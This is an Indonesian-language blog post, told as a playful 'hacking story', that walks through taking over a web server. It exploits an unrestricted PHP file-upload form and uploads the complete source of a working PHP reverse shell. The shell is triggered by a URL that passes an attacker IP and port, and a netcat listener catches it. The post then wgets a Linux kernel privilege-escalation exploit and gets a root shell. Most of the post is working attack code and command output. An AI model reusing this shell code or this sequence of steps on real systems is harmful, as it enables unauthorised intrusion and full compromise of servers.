PHP Reverse Shell, Sebuah Cerita Hacking…

Lagi-lagi berusaha menyempatkan waktu luang untuk mencurahkan ide dan pikiran kedalam sebuah tulisan. Kali ini saya ingin bercerita sebuah skenario perampokan sistem pada host. Walaupun server telah dilapis firewall dan sensor deteksi intrusi, tetap saja bisa bypass karena kita akan melakukan kejahatan via request HTTP biasa a.k.a legacy traffic menurut webserver ini (halah). Tidak ada tindakan yang butuh tools destruktif yang bisa membangkitkan firewall atau pendeteksi intrusi =P.  Server ini hanya membuka beberapa port saja, dan aplikasi servicenya pun up to date. Jadi ketika dicoba cari celah pake vulnerability scanner tidak mendapatkan petunjuk, dan dicoba pake metasploit pun tidak membuahkan hasil… hmmm  tetapi hanya karena kesalahan kecil sebuah fitur pada suatu aplikasi web kita bisa menguasai sistem target! Supaya enak, dibuat beralur seperti cerita sajah 😛

Pertama-tama, disuatu masa terdapatlah sebuah aplikasi web yang cukup interaktif. Terdapat form upload disana. Semua user bisa meng-upload file yang mereka inginkan ke server web tersebut. Jadi jika seorang user meng-upload file bernama asdf.jpg dari komputernya ke website ini, maka file asdf.jpg akan di upload ke server web tersebut.

Halaman Web Berisi List File pada Server

File bernama “upload.php” adalah file yang akan menampilkan user interface upload biasa. Sedangkan folder “do” adalah folder yang berisi file “uploader.php” (bedakan dengan “upload.php”). Isi file uploader.php seperti biasa, hanya script upload php sederhana:

$target_path = "../";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
header("Location: ../");
} else{
echo "Mohon mangap gan, ga bisa ke-upload.. silaken cuba lagi gann..";
}

File uploader.php tugasnya adalah menangkap file yang di upload user dan memindahkannya ke folder pub tersebut. Kalau file “inan19x.jpg” dan “lupus.gif” adalah contoh file yang telah di upload oleh seorang user 😛

Nah, dari sini aja udah ada celah… Coba yang sering berbuat jahat, pasti kepikiran untuk meng-upload file index.html atau index.php ke aplikasi ini. Biar halaman di folder “pub” ter-deface secara otomatis.. ajaib.. hahahah.. 🙂 Tapi bukan itu yang akan kita lakukan, yang akan kita lakukan adalah memanfaatkan celah aplikasi ini untuk bisa masuk ke dalam sistem.

Pernah mendengar PHP Reverse Shell? PHP reverse shell adalah sebuah script php yang akan membuka koneksi TCP ke host dan port tertentu dan menghasilkan shell di host dan port tujuan tersebut. Terus apa hubungannya sama celah upload file? Gotcha! Saya akan meng-upload script PHP ini ke server dengan harapan ingin mendapatkan akses ke shell webserver ini.. 😀 Source dibawah ini saya dapat dari http://pentestmonkey.net

set_time_limit (0);

$VERSION = "1.0";

$ip = $_GET["ip"]; 

$port = $_GET["port"]; 

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = '/bin/bash -p -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork')) {

	// Fork and have the parent process exit

	$pid = pcntl_fork();

	if ($pid == -1) {

		printit("ERROR: Can't fork");

		exit(1);

	}

	if ($pid) {

		exit(0);  // Parent exits

	}

	// Make the current process a session leader

	// Will only succeed if we forked

	if (posix_setsid() == -1) {

		printit("Error: Can't setsid()");

		exit(1);

	}

	$daemon = 1;

} else {

	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

}

// Change to a safe directory

chdir("/");

// Remove any umask we inherited

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

	printit("$errstr ($errno)");

	exit(1);

}

// Spawn shell process

$descriptorspec = array(

   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

	printit("ERROR: Can't spawn shell");

	exit(1);

}

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

	// Check for end of TCP connection

	if (feof($sock)) {

		printit("ERROR: Shell connection terminated");

		break;

	}

	// Check for end of STDOUT

	if (feof($pipes[1])) {

		printit("ERROR: Shell process terminated");

		break;

	}

	// Wait until a command is end down $sock, or some

	// command output is available on STDOUT or STDERR

	$read_a = array($sock, $pipes[1], $pipes[2]);

	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send

	// data to process's STDIN

	if (in_array($sock, $read_a)) {

		if ($debug) printit("SOCK READ");

		$input = fread($sock, $chunk_size);

		if ($debug) printit("SOCK: $input");

		fwrite($pipes[0], $input);

	}

	// If we can read from the process's STDOUT

	// send data down tcp connection

	if (in_array($pipes[1], $read_a)) {

		if ($debug) printit("STDOUT READ");

		$input = fread($pipes[1], $chunk_size);

		if ($debug) printit("STDOUT: $input");

		fwrite($sock, $input);

	}

	// If we can read from the process's STDERR

	// send data down tcp connection

	if (in_array($pipes[2], $read_a)) {

		if ($debug) printit("STDERR READ");

		$input = fread($pipes[2], $chunk_size);

		if ($debug) printit("STDERR: $input");

		fwrite($sock, $input);

	}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

	if (!$daemon) {

		print "$string\n";

	}

}

Oke deh.. tinggal upload file bernama “rs.php” ke server melalui form upload.php. Sekarang jadi ada 4 file yang ada di server. File inan19x.jpg, lupus.gif, rs.php, form upload.php dan 1 folder bernama “do”. Dari script di atas, ada beberapa hal yang perlu sedikit perhatian =P, yaitu di variable $ip dan $port. Ini menggunakan method GET berarti ntar di URL ditambahkan parameter tambahan “ip” dan “port”. Sip… sekarang tinggal eksekusi rs.php. Bagaimana caranya? Tinggal injeksikan langsung di URL http://ipkorban/webapp/pub/rs.php?ip=<ip_attacker>&port=<port_attacker>. Contoh konkritnya seperti begini: http://192.168.0.99/webapp/pub/rs.php?ip=192.168.0.19&port=9999. Ups.. tapi ada error begini bunyinya:

WARNING: Failed to daemonise. This is quite common and not fatal.

Warning: fsockopen() [function.fsockopen]: unable to connect to 192.168.0.19:9999 in /usr/local/apache/htdocs/rs.php on line 46

Connection refused (111)

Sebenernya saat itu koneksi dari korban ke 192.168.0.19:9999 hampir kumplit tapi tidak established karena port 9999 di komputer penyerang belum terbuka. Tinggal menggunakan program netcat saja untuk listening di port 9999 dan sebagai tempat berinteraksi penyerang.

nc -l -p9999 -v

Oke, sekarang halaman web target sudah terlihat loading tak berujung… Loading… Loading.. Loading… jangan tertipu halaman webnya, mari kita liat saja ke netcat dannn.. binggo… korban tunduk kepada kita dengan memberikan shell nya =P

[email protected]:/$ nc -l -p9999 -v
listening on [any] 9999 …
192.168.0.99: inverse host lookup failed: Unknown host
connect to [192.168.0.19] from (UNKNOWN) [192.168.0.99] 33322
bash: no job control in this shell
stderr is not a tty – where are you?
bt / $

Iseng-iseng mengetikkan perintah “kenalan” seperti uname, whoami, pwd, ifconfig, traceroute, dkk tiba-tiba terbesit ide lain setelah melihat versi kernel sistem korban. Ternyata kernelnya sudah usang (2.6.20) =P dan setau saya vulnerable untuk dilakukan local escalation privilege. Setelah cari mencari di Google, dapat linknya dan tinggal download via shell korban jadi jangan download ke komputer penyerang (karena bakal dieksekusinya di host korban).

cd /tmp (*download exploitnya kesini aja..*)

wget -c http://exploit-db.com/sploits/2009-linux-sendpage3.tar.gz

Ekstrak, dan jalankan file executable bernama “run”. Setelah itu lihat hasilnya. Dari dollar buat beli pagar ($ –menjadi–> #).. Hacky yeah.. WE ARE ROOT

bt linux-sendpage3 $ whoami

nobody

bt linux-sendpage3 $ ls

exploit*

exploit-pulseaudio*

exploit-pulseaudio.c

exploit.c

exploit.so*

run*

runcon-mmap_zero

sesearch-mmap_zero

bt linux-sendpage3 $ ./run

socket: Address family not supported by protocol

sh: no job control in this shell

sh-3.1# whoami

root

sh-3.1#

Selanjutnya diapain lagi yah? terserah anda… =). Inilah akibat dari kesalahan aplikasi yang bisa mengakibatkan efek domino terhadap keamanan sistem. Ceileh. Semoga ceritanya bermanfaat…

3 thoughts on “PHP Reverse Shell, Sebuah Cerita Hacking…

  1. Pingback: SQL Injection Day
  2. Pingback: Eksploitasi WebDAV

Leave a Reply

Your email address will not be published. Required fields are marked *